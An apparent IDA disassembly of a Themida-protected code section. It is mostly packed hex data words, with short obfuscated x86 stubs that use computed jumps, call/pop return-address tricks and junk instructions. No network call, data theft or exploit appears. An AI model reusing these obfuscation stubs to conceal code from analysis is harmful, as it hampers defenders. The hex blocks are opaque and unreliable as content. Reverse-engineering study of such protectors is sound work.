dd 3Ch, 0A0C928A8h, 93A56348h, 0E346D240h, 0E863D373h
dd 13554494h, 47E7126Bh, 2DDC4C15h, 71B126ECh, 18h, 1036C22h
dd 58880000h, 8F6B2D0Fh, 77F77B0h, 44943B9Dh, 0B49F396Bh
dd 0AC6Ch, 46D24500h, 2E2A2EE3h, 94E82A9Eh, 5AE02244h
dd 652B21B2h, 955EFC8Fh, 89519625h, 5ABC1Bh, 0D2890000h
dd 0DB73E346h, 6D29AFFCh, 94E86BDDh, 0F21F6144h, 74BD42DAh
dd 0F2FF5F24h, 0F9237382h, 30176Eh, 0FBEC0000h, 0FD8273E3h
dd 0A33F7FEBh, 0EA0D61E3h, 155AE0CBh, 96362205h, 44944422h
dd 912BE81Ah, 5774110Bh, 0BB2B3816h, 23C6930Ch, 752h, 726C0300h
dd 45000000h, 894A6177h, 94E88CF3h, 39728A44h, 0BBF00C78h
dd 3DD0C4F6h, 0AC324172h, 322C7D9Fh, 0C9415529h, 4494E85Fh
dd 0B5DDFB2Dh, 70E05853h, 9A08129Dh, 0E346D22Bh, 547262BBh
dd 35D93902h, 694494DDh, 258665EDh, 78EC5CECh, 50BB6B1Bh
dd 0BE3EDC0Eh, 4ED91F0Eh, 0FFFF2D52h, 0CE6C03FFh, 88000002h
dd 0FDB6E908h, 73356A87h, 931CB54Fh, 5CDE2FD8h, 4A6177F9h
dd 0CEDDFB89h, 0E641DBF4h, 0FEE6672h, 0A7F29AA0h, 553EA1F6h
dd 76EEDE13h, 73BD7801h, 7F8EFECBh, 2348CA05h, 5Ah, 6F17FBF0h
dd 4494E805h, 4627B1F3h, 1105F13Ch, 94E80F79h, 6C95FD44h
dd 0B3637533h
dd 0A1BD2C13h, 22AAAE3Eh, 0BD783BB6h, 7B387796h, 0F701433Fh
dd 2688738Bh, 2F4BE88h, 0B710BC8h, 16BD7800h, 0CBB2B38h
dd 5248CA18h, 0E8h, 0CE2FCE46h, 780CCA3Eh, 4A80C2BDh, 6177A5B0h
dd 0D6FB894Ah, 5C7C08C9h, 26B7BE19h, 38724889h, 0B5534172h
dd 34309610h, 60AA6ACEh, 0DDFE9682h, 3DE525CEh, 49A9201Bh
dd 6B9F39E4h, 44941D32h, 0C9B7F414h, 74896AF4h, 0D444763Bh
dd 941BC034h, 4486B844h, 0B4D634D4h, 72663EA0h, 7FA46EDAh
dd 1F906EBDh, 2BD761A3h, 0FD19FDF9h, 7FA41B8Dh, 0EDC851BDh
dd 0A3A07584h, 0B75BDD1Fh, 5191851Ah, 3E65F8E7h, 0A4FBE676h
dd 0CB4D9B6Fh, 0DBC42D55h, 13E41BCEh, 0A7FA877h, 461h
dd 0D0B2FDDDh, 7C6649A4h, 0C9B7F408h, 786A4599h, 0C8BAE50Ch
dd 0FBE666D8h, 0B1563EA4h, 0FFDC88FAh, 0AA4E36ACh, 494D9F01h
dd 8C8D57C1h, 0DD282542h, 5B455A77h, 0E7C423ABh, 8427C151h
dd 815AFA1Eh, 81773144h, 509AAB78h, 82D167A3h, 0F0986177h
dd 4494E884h, 3B783274h, 4A745CDh, 2CA315CFh, 4A492831h
dd 0BE1A7A80h, 203A93EDh, 40713ECFh, 0BCD8408Ah, 161CDCA4h
dd 8A6DCB19h, 0D01AF021h, 36705C34h, 23B523C7h, 0A106E4E7h
dd 6390D23Eh, 55F5E1F5h, 0BD7933E3h, 0B123A7D9h, 97BD7933h
dd 54A66B40h, 800C0E50h, 0BD79331Ah, 4E222FEFh, 3356C24Ah
dd 0E426BD79h, 57FC5340h, 25B324ABh, 21BD3E48h, 63A5658Eh
dd 0CA7853F3h, 2C5EC74Ch, 0CCADF42Ch, 2CF67C65h, 4E0C289Ch
dd 2CDE20B7h, 213B940Eh, 0D07A1206h, 50CD77D0h, 47AA2A0Eh
dd 0D95F9B58h, 0F4B755BDh, 0EEA6A8Eh, 8496749Dh, 5660AA08h
dd 169576A9h, 53ADACh, 6F840000h, 4494E809h, 714FDA62h
dd 61DAEB01h, 7A5F1DD5h, 0BDD93D8Bh, 945FDB4Dh, 696FB144h
dd 5FE05468h, 0C1C74494h, 0E5F3BC51h, 0FA126A77h, 0A727CFB1h
dd 2C985956h, 0D832DFCCh, 6F8C0812h, 0CBC7E806h, 852E7C33h
dd 945F9007h, 0FDC8244h, 198724B7h, 116477AAh, 0BDF6B4F7h
dd 7F7734C7h, 0F1CAFF0Fh, 0D9B66D40h, 4F849654h, 1DBA5A3Eh
dd 9D28C8Eh, 6F515AB1h, 7F60787h, 9468157Fh, 67A1E344h
dd 7BD739D1h, 0B0B4494h, 8F446B83h, 0AF5D9D3Bh, 0F1B12681h
dd 0FFFFFF67h, 4A6177A2h, 0CEDDFB89h, 3441DBF4h, 94E82094h
dd 24E61844h, 0C2D9EC34h, 4F33F349h, 0EA3DCDC9h, 0A03EA1D4h
dd 2BA3B55Eh, 0E218D9C6h, 0E44CB458h, 0F159BD79h, 0E04978E8h
dd 230D48CBh, 0C6000000h, 56A748D2h, 1FA78F59h, 3EA1BD38h
dd 7D0FC406h, 0BD783B07h, 0BF2F3C22h, 48CA2330h, 0B656h
dd 0E3FB2F00h, 79BD21B3h, 0A641315Ah, 0ECEECC05h, 965B50A8h
dd 17DCC32Eh, 0B3604BADh, 74E4C721h, 66AB00DCh, 601C8694h
dd 4494DB3Fh, 0C6BCEF09h, 40713A9Eh, 7A438D8h, 0C762FCF1h
dd 8B2B0F4Fh, 0C236289Dh, 4DE86038h, 3B3EA1ACh, 5FD49123h
dd 8C3E5610h, 74BFC916h, 0BCEF0C84h, 6135C3F7h, 4DAC9FE9h
dd 0BB3B6DC7h, 8FF1AE53h, 28A1FEE3h, 71006E4Bh, 0DEBACFF8h
dd 60000001h, 0C7BB258Ah, 5B077936h, 0CCB82A81h, 6F237D32h
dd 0FBB30D92h, 2F70910Bh, 0E5C62151h, 377487FBh, 0ECBF1949h
dd 0A820E8F6h, 428C8F3Ch, 77F61F0Ch, 275B455Ah, 6649A4D1h
dd 0D2973EA4h, 0D179DD48h, 3EA1BDEAh, 4F6DA6D8h, 0BD783CE9h
dd 840410F4h, 0BD783C10h, 0BA24B6E8h, 24B241B1h, 0C2D848CAh
dd 0AD000000h, 377493FBh, 149771A1h, 452979DFh, 0DD31571Ah
dd 19A1952Dh, 0DEEF9833h, 8619B85Ch, 0AE53BB4Dh, 5DC73Fh
dd 0F92B4494h, 0BCE129AFh, 8A44940Dh, 2F633D6Eh, 0E21D2D9h
dd 0CD3DB974h, 3EA13D6Ah, 0EB04DE20h, 0F262D651h, 9D5D9615h
dd 180B7B9Bh, 82C74DF4h, 0CEA4A062h, 3CBEA48Eh, 32A296C8h
dd 6C68D0CFh, 4CC968DCh, 3860B7h, 1269BAEFh, 356B6D3Bh
dd 6EFBA44Dh, 710099A7h, 0F656735Ch, 48000000h, 0EFA3FDB2h
dd 432F911Eh, 0F4A002A9h, 372B951Ah, 239B059Ah, 67389933h
dd 0BDEE0979h, 4F5CAFE3h, 0C4E70171h, 800810DEh, 428C8014h
dd 779EE7E4h, 275B455Ah, 0F65EDAD1h, 20829817h, 4A6177B5h
dd 0CEDDFB89h, 0E641DBF4h, 72E66672h, 4A4494E8h, 76160218h
dd 3EAD34A8h, 0EFE50E50h, 2E815C19h, 0AEFD0F85h, 0C503C505h
dd 5A51A7DBh, 179876DEh, 9A11EADAh, 0F389CA50h, 7E39F128h
dd 6AC28F2Fh, 1D391D8Eh, 9B073BADh, 0B325A5D8h, 89D89B07h
dd 0DF674B57h, 0D89B0775h, 31C70143h, 466583EFh, 9F42D2h
dd 13EBD9FAh, 824C579Ch, 61F1E5B9h, 39AB1F80h, 0FD89B07h
dd 0AA674497h, 14809A50h, 1DC9B7F4h, 7279139h, 0D315D89Bh
dd 0CE2BCD45h, 9B07CA3Eh, 702FD2D8h, 0BBF8B2F4h, 57C1494Dh
dd 25D89B07h, 0BF713FE3h, 9E760037h, 3ED9Ch, 40C40000h
dd 4C637759h, 0D0DBFD87h, 515AB123h, 0D8D334A0h, 5748A91Bh
dd 0D8C72A9Ah, 5A55A91Bh, 0DAD12B99h, 5D52AB19h, 886852B4h
dd 89000023h, 8952242Ch, 4C281E2h, 83000000h, 148704EAh
dd 1C895C24h, 0E3895324h, 4C381h, 0EB830000h, 241C8704h
dd 243C895Ch, 4C020EBBh, 4EEB8147h, 4B755131h, 2414F753h
dd 57C3815Bh, 54D8132Dh, 81243C8Bh, 4C4h, 0DA895200h, 8B085789h
dd 0C4812414h, 4, 57243C8Bh, 0C781E789h, 4, 4C781h, 3C870000h
dd 34FF5C24h, 0C4815B24h, 4, 0FBDD1BE9h, 0B189EFFh, 44F25996h
dd 0B7EE4346h
; ---------------------------------------------------------------------------
loc_5D2D44: ; CODE XREF: Themida_:loc_5D1F02j
mov eax, 61869ECh
add eax, ebp
jmp eax
; ---------------------------------------------------------------------------
db 33h, 0A0h, 3Fh
dd 0DCAD5F03h, 0A42DDB7Eh, 0D8A54F02h, 402FE91Dh, 0A1B5E177h
dd 0FA142863h, 9E819h, 0B5B40000h, 0B0DA0A84h, 66EDE810h
dd 815ED18Bh, 40CA4AF2h, 0E7C68101h, 5300005Dh, 685ACB8Ah
dd 174Ah, 4634D281h, 815F4559h, 3EC6FBD2h, 0F36FF0Bh, 380h
dd 63C88000h, 13E95Bh, 0B2300000h, 62A14A4Dh, 0FAB37DD3h
dd 0E43609B3h, 0A2F3F6F8h, 0A5F381A5h, 81776973h, 85CAB8EAh
dd 27C3810Eh, 8025A22Fh, 0C3813CC0h, 57404E00h, 13E9h
dd 624D5A00h, 69237207h, 0F5385CA3h, 0BA4D2208h, 25B2D835h
dd 45B91E89h, 8354D476h, 7E803EEh, 59000000h, 6F2262F6h
dd 8B0F979Bh, 15h, 10E9h, 0EE04D300h, 9EA873F2h, 8A83EA6Dh
dd 0C757B43Eh, 8A4E5AE4h, 850F4FF3h, 0FFFFFF6Dh, 10FE9F8h
dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1A0424h
dd 57470000h, 9326F9C3h, 8E212089h, 6BFAB58Dh, 6A0618h
dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 190424h, 56460000h
dd 3A5480C3h, 0F9FB1998h, 4483858Dh, 890F0616h, 1Ah, 14820Fh
dd 0FE90000h, 3A000000h, 3A66391Eh, 0FC5D66A2h, 549F3790h
dd 0FFF87FFBh, 52B160D0h, 0E860C361h, 6, 975AB879h, 830FAD82h
dd 0
dd 61D18B59h, 0FD98C66h, 885h, 8D0F6000h, 0
; ---------------------------------------------------------------------------
popa
test cl, 4
jz loc_5D2F17
cmc
mov edi, ebx
mov ecx, ebx
xor al, al
loc_5D2EE5: ; CODE XREF: Themida_:005D2EE6j
scasb
jnz short loc_5D2EE5
sub ecx, edi
neg ecx
sub edi, ecx
mov edx, edi
dec ecx
mov ebx, ecx
jmp short $+2
; ---------------------------------------------------------------------------
db 0CDh, 20h, 3Fh
; ---------------------------------------------------------------------------
add [ecx], eax
add [ebx], cl ; CODE XREF: Themida_:005D2F15j
sal byte ptr [eax+ebx-73h], 70h
or al, 8Bh
cli
mov ecx, ebx
loc_5D2F06: ; CODE XREF: Themida_:005D2F0Aj
cmpsb
jnz short loc_5D2F13
dec ecx
jnz short loc_5D2F06
mov eax, 1
jmp short locret_5D2F1C
; ---------------------------------------------------------------------------
loc_5D2F13: ; CODE XREF: Themida_:005D2F07j
mov eax, [eax]
jmp short near ptr loc_5D2EFA+1
; ---------------------------------------------------------------------------
loc_5D2F17: ; CODE XREF: Themida_:005D2ED8j
mov eax, 0
locret_5D2F1C: ; CODE XREF: Themida_:005D2F11j
iret
; ---------------------------------------------------------------------------
push 0
push edi
call sub_5D2F28
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5D2F28 proc near ; CODE XREF: Themida_:005D2F20p
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 14h
inc edi
push edi
retn
sub_5D2F28 endp
; ---------------------------------------------------------------------------
dd 810FF866h, 5, 0D7B70F60h, 2D85C761h, 3F06186Ch, 0E8000101h
dd 0Eh, 53812969h, 57846075h, 99AAE817h, 816614F7h, 593D4BD7h
dd 81D7B70Fh, 65B0C1h, 0C2B70F00h, 0EE8F62Bh, 12000000h
dd 48FE304Ah, 0A13C71Ch, 0D36F01Fh, 0F08166EDh, 8B5F00D8h
dd 0FE9311Ch, 53000000h, 0AEA27274h, 75F8B9A9h, 89249F07h
dd 0EB81DA93h, 5259DB5Ch, 811AE080h, 0BE0CC1C3h, 0F8BF0F3Eh
dd 0EC30F381h, 8B6609A7h, 0C78B53D3h, 0F31048Fh, 8Ah, 81FB8B00h
dd 2FD0C1EEh, 0C18B6678h, 0D0BDC681h, 8B66782Fh, 0E8FE81D7h
dd 0FFFFF9Ah, 0FFFFA285h, 0BFD080FFh, 60EBh, 17h dup(0)
dd 8BE90000h, 0E900000Bh, 0B7Fh, 18752568h, 13C6E906h
dd 9E68FFFBh, 0E9061876h, 0FFFB13BCh, 18770168h, 13B2E906h
dd 0E16DFFFBh, 0E3735575h, 0D3654B6Bh, 0E2715777h, 0DB6A506Eh
dd 0C56A5979h, 9B3B19A8h, 8B2B27B5h, 983612A5h, 8D2D1FB2h
dd 0F06A9BC4h, 0B916B621h, 6FBDFE60h, 49DEC4E3h, 0A52F6EFFh
dd 0A6362446h, 9310EACh, 44C594B8h, 45075A7Ch, 0CB7DD2F4h
dd 4A08587Ah, 78AD7FBh, 47C697B7h, 0A6331726h, 2CBB9FAEh
dd 9F311524h, 26B89AABh, 0C61B1928h, 91C4E3C0h, 109DB535h
dd 8559FFEh, 9DB50327h, 0DA82B453h, 446B1685h, 0C9DD3E23h
dd 4E00520Eh, 748A52Fh, 85877CD6h, 0A1C0450Ah, 0C2902002h
dd 4DFD4F73h, 93B7A42Ch, 86AC0B43h, 0AE285D35h, 770A8586h
dd 96507716h, 0F0C3860Dh, 9797C50Fh, 0B9963553h, 0C50F4391h
dd 8560D046h, 3D0C910Ah, 97C6C819h, 0A85613Bh, 0AB27616Ch
dd 0ABB82226h, 8AAB0B6Ah, 0DFDE38ADh, 66A70A84h, 6CBD045Eh
dd 735046E0h, 854FFF4Fh, 0C7BDA3DBh, 4767C16Bh, 0A641DE99h
dd 4D41h, 0BDA31500h, 0E5BFE8C7h, 0B39537B4h, 0C229B33Dh
dd 9DB53793h, 0F1477010h, 0C4513FBh, 0BC902185h, 7646CADh
dd 0F63995C8h, 372109Dh, 109DF587h, 1F7ECD50h, 68C2E47Eh
dd 45E16DBDh, 20C4E37Dh, 0E7000000h, 0B53995C8h, 8302109Dh
dd 0BDA39F39h, 93C26BC7h, 109DB537h, 0C29BB726h, 0E16DBD68h
dd 0A3E37D45h, 7AEBC8BEh, 168EA21Fh, 5606DFE8h, 83FD6FAh
dd 29A9D869h, 800A8A86h, 85017453h, 4E0A8A85h, 0F25AEBCFh
dd 709A2263h, 3AE3B1DBh, 0B04B5AADh, 0EF000001h, 0DA0BBFA3h
dd 109DB580h, 0A0B40149h, 70117091h, 6CDC6F53h, 94067764h
dd 4D109DB4h, 7D5A79C8h, 9DB38E08h, 0AE365710h, 933319ACh
dd 0E66095B2h, 0AF109DB3h, 0BDFC666Eh, 0DFC3E06Ch, 6CF6FE4Eh
dd 0BDA3F650h, 67C16BC7h, 0FD4BE0C2h, 3BA32D6Ch, 0A641DE6Dh
dd 39D5h, 0BDA36900h, 93C26BC7h, 109DB537h, 92FA4A70h
dd 2A93D175h, 7CCDAC29h, 0F716D31Dh, 0BD68C25Bh, 7D45E16Dh
dd 51E0C2E3h, 0E0153203h, 109DB566h, 458FEE2Fh, 391Ah
dd 0E0C2B800h, 2D6CFD4Bh, 335197A3h, 0C842B394h, 0FC109DB4h
dd 3154E369h, 42133F8Dh, 0C25FF9C3h, 9DB53793h, 1E4F7010h
dd 109DB4C4h, 49C0088Dh, 68C26EC8h, 45E16DBDh, 0BFA3E37Dh
dd 78C8EAC9h, 0C20A8BDAh, 3B90B295h, 0D644C30Dh, 87109DB4h
dd 2F183706h, 0D3020A06h, 109DBC77h, 26F6DD40h, 2628B067h
dd 351AB993h, 79755E9Fh, 0E40925Fh, 0D977656Fh, 0FE4CE0C2h
dd 0B4A62E6Fh, 500F2B21h, 0C7BDA3F6h, 0BEE4C16Bh, 81DBE56Fh
dd 41DE9947h, 4641A6h, 0C2150000h, 0B8004EE0h, 620647Ch
dd 1670E5C2h, 0DF109DB5h, 62936BEh, 0EB621D21h, 0F6D8A106h
dd 0A0DFE963h, 109E7126h, 0C294AEEFh, 70E5C268h, 109DB516h
dd 2436BEDFh, 7DA2BC92h, 43C4E3h, 0C3E70000h, 4C16DE76h
dd 0E8C7BDA3h, 51E072C2h, 0C22EA830h, 9DB53793h, 0FE477010h
dd 7FDB0A58h, 48109E2Dh, 3E05DEC5h, 190F7C1h, 0DDDC225h
dd 0C1C1F316h, 9DBA9721h, 192824B5h, 0BD66F0F8h, 7D45E16Dh
dd 0B4C4E3h, 0A36A0000h, 0C8EAC9BFh, 584D573h, 0FB6F9EBBh
dd 0B4109DB4h, 5C33B08Bh, 0B0D1CB01h, 7A0C9DA1h, 60A4B678h
dd 0BF1F7EB6h, 0E06CBD21h, 0A3F65046h, 0C16BC7BDh, 0DE994767h
dd 4C41A641h, 15000000h, 0AF04BDA3h, 9683C899h, 449072F9h
dd 3D8F3352h, 0C2D26C0Dh, 1F6EBDE5h, 19A3C292h, 9DB570EAh
dd 7AD43910h, 6DBD68C2h, 0AE39621Bh, 0D4B51019h, 0C4E37D7Ah
dd 3Eh, 3995C8E7h, 2109DB5h, 55B12483h, 1E109DB5h, 0A36BF5FFh
dd 0C26BC7BDh, 9DB53793h, 18B72610h, 0B54CC637h, 2F80109Dh
dd 62F11021h, 0C23F9923h, 330250E0h, 6DCD0AD2h, 45E16DBDh
dd 6CBDE37Dh, 2D0BDF1Ah, 59385AAAh, 0D771C608h, 0CC80D1F7h
dd 26900C7Dh, 9CD6109Eh, 6AE2731Fh, 79D3664Ch, 0B44DE2E8h
dd 0B001B14Ah, 0CA1B3F9Ch, 273591C4h, 9FFE109Eh, 0A62E6FFEh
dd 157178B8h, 21B199B6h, 0F3FD1C2Dh, 8F143994h, 24830216h
dd 18A0AAFEh, 11DA38C9h, 0D5310A8Bh, 0B7783864h, 28E05AACh
dd 76000000h, 0C3E06CBDh, 0F3FD4DDFh, 0B4890574h, 0EECB109Dh
dd 0B5429CD1h, 0C40B109Dh, 39C4224Ch, 0F0F8999Eh, 0DC6D2596h
dd 0BDF85270h, 7251E06Ch, 0F389FD50h, 14DC117Bh, 85C293F2h
dd 9E00F650h, 3F5EBF10h, 266089B5h, 25765489h, 0C6471686h
dd 3B97C6E9h, 40A8593h, 52E36DBEh, 4C8A5233h, 54F4476Bh
dd 3C8405h, 193E9DE9h, 0A422C9E2h, 0C19E2676h, 763BD14Ch
dd 0E4250A10h, 55B12484h, 1E047241h, 5DBD8FFh, 3E0E9F03h
dd 9B0E39B6h, 1D4271ACh, 932F3398h, 51BE8DE9h, 72D02130h
dd 0C9047283h, 3715A88Ah, 0B3DDE726h, 2426F616h, 2D8E5095h
dd 0B4000000h, 0EAC9BFA3h, 9DB52F7Bh, 16B5D810h, 0A4E4A034h
dd 47845C9Ah, 3C0D3D8Fh, 0FDDDBCDDh, 2FE2h, 0ABDAFD00h
dd 109E7E2Fh, 914B95F8h, 0EAC9BFA3h, 9DB52B7Bh, 1AB9DC10h
dd 9AABA938h, 3E64717Bh, 0F9359AEAh, 7C855AE3h, 4D9CBE1Dh
dd 419FBD07h, 250E0C2h, 80F5D233h, 109DB506h, 5B864ECFh
dd 15Eh, 53FD4E74h, 9F398302h, 0E6C5BBA3h, 0FCDB71C4h
dd 9DB50D89h, 2DB7D610h, 0BDF650B3h, 0C146E06Ch, 0DE994767h
dd 5541A641h, 15000000h, 69C5BBA3h, 93C2E5C2h, 109DB537h
dd 0E372DA6Bh, 687095A2h, 9DB4BD19h, 46418610h, 8520D6E7h
dd 0C1EC05AAh, 0BD041D24h, 68C282DCh, 83DF6BBDh, 1670E5C2h
dd 4F109DB5h, 9DB4C41Eh, 3B088D10h, 0B584C417h, 69AB3554h
dd 27C4B7h, 0C3E70000h, 450FD971h, 69C5BBA3h, 14FE0C2h
dd 0CA07D130h, 9DB53F9Bh, 93AF2E10h, 6BBD68C2h, 607D83DFh
dd 5963E57Ah, 0E06CBDFFh, 0A3F65046h, 7E1401BDh, 0CD9B0D04h
dd 99F85CE9h, 0BEE4C1BDh, 7ED8E06Ah, 41DE9947h, 5D41A6h
dd 0C2150000h, 6EFF4DE0h, 0E071D76Ch, 0BCF8C0A1h, 0C246E0A4h
dd 9DB53793h, 9F477010h, 0CC156151h, 2362FFC9h, 0BAE5C207h
dd 903266E6h, 12428FA5h, 0C2EF6973h, 6FFE4CE0h, 22B4A62Eh
dd 0B4A3FF6Eh, 89D7109Dh, 5E557AC9h, 37FFB6AFh, 6FCBAACBh
dd 32C4E37Dh, 0E7000000h, 8DDC74C3h, 0A31AC40Ch, 0C26BC7BDh
dd 4C54BAE5h, 0D0D8FAC0h, 2D1D7908h, 8D0C109Eh, 4EE0C2B1h
dd 0BC9BB800h, 38094396h, 0BD450FD9h, 7D45E16Dh, 0DE6ABDE3h
dd 0B49FFE8Fh, 0BBD5109Dh, 93F943Eh, 6ABD0FA9h, 8AD901DEh
dd 6B6FFEC6h, 19E170D8h, 0D3681AAFh, 4F785575h, 0AA2961D7h
dd 59A830AAh, 109E6538h, 7ADC9DB7h, 7D84A341h, 57FFFFFEh
dd 30B1170h, 6D770957h, 0B51270F3h, 101109Dh, 42109DB4h
dd 0D0DA485Dh, 16DEE2E8h, 9DA31877h, 0DB6D5510h, 0A826656Fh
dd 97109DA2h, 109DA337h, 9DA2A826h, 48BEE9D0h, 3B16BC42h
dd 0A9C0FCC4h, 0E786C81Ah, 0AE1695C8h, 0E2235687h, 450DDC5h
dd 5D0CD435h, 5F7C0A5Fh, 78214B2Eh, 0ACA1E450h, 0B9F8D999h
dd 38DAF7B6h, 0E2000003h, 7EA40254h, 9E84222Ch, 4062400Ah
dd 5F4161EFh, 0F12482D2h, 0D480CD3Eh, 0CE84D4F6h, 0D375CAF0h
dd 0D07CCDF3h, 77E6E9F2h, 16B62A1Bh, 0C291ADE4h, 3793C2E5h
dd 109DB5h, 0B572EC9Dh, 0DA3B109Dh, 0DF6DC012h, 4F37328Eh
dd 0DA19FD70h, 93F21685h, 4742C033h, 7D640A85h, 0A28DAA09h
dd 7E5D48BFh
dd 5844C7Dh, 106D7CADh, 0EAD0EF2Eh, 0FC8A2F57h, 0BE3CF7Eh
dd 10624D6Ah, 0AD100CEBh, 8FBC47F8h, 0ED20E528h, 0EFD8F5E3h
dd 0F6E66532h, 0F6D8E076h, 0E8CAE963h, 2A6BFA58h, 5CB243A2h
dd 6E046D1Bh, 93B41373h, 6D1AE862h, 646CB104h, 3F0C0677h
dd 5D450A55h, 3690C5CFh, 0FFFE54ADh, 716EFF9Eh, 54ACA2FCh
dd 4B2A6BFEh, 2A1E481h, 0AFBE8C20h, 5179666Eh, 183C8900h
dd 9A9C849h, 80DA0B2Ch, 49FE54ADh, 87DAFCC4h, 313874C5h
dd 0CE517655h, 43E93E9Eh, 8FFEDBE5h, 43C768Fh, 0F658EAD0h
dd 4D1C81EEh, 9FCEFAEFh, 0F83BE543h, 0CBE8890Ch, 240A689Ah
dd 1FBCE1FEh, 5A2AA3Bh, 7857B322h, 0FD20F223h, 0FDC78BD9h
dd 0E468F9DFh, 71A62455h, 0C3E7F223h, 73EF1E74h, 3CF2235Eh
dd 68A9B8D9h, 0B60D5460h, 0FD1C2D27h, 0CCCE3F9Ch, 0A5F80B83h
dd 8ED3D160h, 9BAAA635h, 1B2A2AB7h, 0DDFA9BFAh, 0C987D8FAh
dd 0F55180FFh, 382F1FBh, 7CB3454Eh, 0C29F4E5Bh, 1BFh, 67470F5Bh
dd 7D5DF141h, 6141095Bh, 4260F03Fh, 2383D160h, 7FCE3FF0h
dd 85D3F5D5h, 78CBEDCDh, 7DD0F2D0h, 0FDE2EFCFh, 0B62B0E88h
dd 0A0C2D716h, 0EBC8BEA3h, 85DA987Ah, 1D2C7116h, 21F7193Eh
dd 0FC74DE15h, 0E5A1C8F4h, 8F3E97C6h, 4B6F1076h, 820352FAh
dd 0F568AD3Ah, 79F758A4h, 5C3712D9h, 0BE000001h, 0E2C8E670h
dd 0FAE0FE50h, 0E4C6E466h, 0FBDDFD53h, 0D5C8E66Eh, 0B0A4315Ah
dd 0B2A03012h, 0AF992E14h, 0B498290Fh, 0D3024D16h, 16B62C77h
dd 0A375E940h, 99B505BEh, 66F7DBF8h, 0AE3657E6h, 3CB18EB1h
dd 109DB4E2h, 23626AABh, 1685D927h, 2C0EADF0h, 0BC2BB59Bh
dd 0A505479Ah, 2E859F88h, 3607499Ah, 6213F0D7h, 7ECF01CBh
dd 28417FCEh, 0EFF16DA0h, 5BBA0A84h, 869E977h, 143487ABh
dd 7BD70645h, 440A84F0h, 3B18A0C1h, 6D1574CAh, 7ECDF510h
dd 0BF8EBE0Fh, 0EF2E3F5Eh, 2B0F308Eh, 65A4B59Dh, 65E9795Bh
dd 0EE426845h, 0EE42945Ch, 7E617E5Ch, 6C82930Fh, 0AF395C04h
dd 64420E9Dh, 7FCF5F43h, 0BBD66375h, 0F0112028h, 0E0153291h
dd 46C8366h, 0F8E6EE2Fh, 4FCFF8D7h, 28E9C134h, 0AD32ACDDh
dd 9AFB046Ch, 0A3B10052h, 0AD002203h, 0B503559Fh, 0C81B3D9Dh
dd 61A6CBDh, 0EE9312D3h, 86075637h, 50E1C7E7h, 6CFCDEFCh
dd 4EE1C9E6h, 0A22A6BFAh, 41B493B4h, 46C12C5h, 57FD4C8Eh
dd 5792AE36h, 90AF902Fh, 6C13015Dh, 674BCA04h, 13727ADAh
dd 0A5437DBh, 2628395Ch, 351AB993h, 0BBD9E743h, 2EBB1F09h
dd 0EEF61726h, 0DD1F0h, 7B6D0000h, 920C815Eh, 5B109DB4h
dd 0BD28B23Ah, 7254E571h, 0FADC6DDFh, 7052E365h, 0DFE372E0h
dd 0F330252h, 7FC392C2h, 2D112030h, 0BC9EAF9Bh, 2215242Ah
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
push edi
mov edi, 4
sub ebp, edi
pop edi
xchg ebp, [esp]
pop esp
push 1A5Ah
mov [esp], ebp
push ebx
mov ebx, esp
add ebx, 4
sub ebx, 4
xchg ebx, [esp]
pop esp
mov [esp], edx
push eax
push ebx
mov ebx, 6186DB0h
mov eax, ebx
pop ebx
mov ebp, eax
pop eax
sub esp, 4
mov [esp], esp
add dword ptr [esp], 4
pop edx
push ebx
mov ebx, 8
add ebx, edx
mov [ebx], ebp
mov ebx, [esp]
add esp, 4
mov edx, [esp]
push ebx
mov ebx, esp
add ebx, 4
add ebx, 4
xchg ebx, [esp]
pop esp
push dword ptr [esp]
pop ebp
add esp, 4
jmp loc_58442C
; ---------------------------------------------------------------------------
db 0A4h, 3Bh, 51h
; ---------------------------------------------------------------------------
mov ds:0EC1D594Bh, al
mov edx, 0EE40E43Eh
mov dh, 0B8h
cmp byte ptr [eax+18h], 6
add eax, ebp
mov eax, ebx
lea ecx, [ebp+61879D0h]
push 0
push eax
call sub_5D3BF5
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5D3BF5 proc near ; CODE XREF: Themida_:005D3BEDp
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 15h
inc eax
push eax
retn
sub_5D3BF5 endp
; ---------------------------------------------------------------------------
ror byte ptr [ecx+edx*2+571B589h], cl
adc eax, [esi]
pop eax
mov [ebp+61320A1h], edi
mov [ebp+6131BBDh], ecx
mov esi, 34027CCFh
mov dword ptr [ebp+61318DDh], 5DF4h
or esi, [ebp+61331B1h]
and eax, 580D9816h
mov dword ptr [ebp+6133055h], 0
mov dx, 0AC36h
push dword ptr [ebp+6131A95h]
push 0
push eax
call sub_5D3C55
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5D3C55 proc near ; CODE XREF: Themida_:005D3C4Dp
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 17h
inc eax
push eax
retn
sub_5D3C55 endp
; ---------------------------------------------------------------------------
db 83h, 9Dh, 0AFh
dd 15810F64h, 0E9000000h, 10h, 4711A1h, 1319C043h, 41E8D414h
dd 9565247Bh, 1D8995FFh, 0B70F0613h, 71B58BF8h, 6A061322h
dd 0A995FF00h, 8B06130Dh, 0FE49EBC0h, 0C7707840h, 0C680FB67h
dd 0E4009226h, 6B0A9712h, 8FE45B7Dh, 0EBC6CF1h, 858DA7E1h
dd 57BC6330h, 4003671Fh, 91D65B17h, 213C4ED8h, 24D7A52h
dd 0B816666Dh, 50D833D1h, 5FFE31EBh, 1F2BB3BCh, 0C48786EBh
dd 0CD53D9F7h, 7AD08D8Dh, 0BF0F0618h, 0BD8D89FBh, 8B06131Bh
dd 130B759Dh, 0DD85C706h, 7C061318h, 6A00006Ah, 3E85500h
dd 20000000h, 895DC35Dh, 8104246Ch, 17042444h, 45000000h
dd 7298C355h, 9D892EDEh, 6133531h, 0C1F4BE66h, 305585C7h
dd 613h, 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
dd 1B0424h, 53430000h, 38574FC3h, 3B5112A6h, 9B5FF0Ch
dd 53061323h, 68D0Fh, 0DE810000h, 45DC8F83h, 8995FF58h
dd 6A06131Dh, 3E85000h, 20000000h, 8958C358h, 81042444h
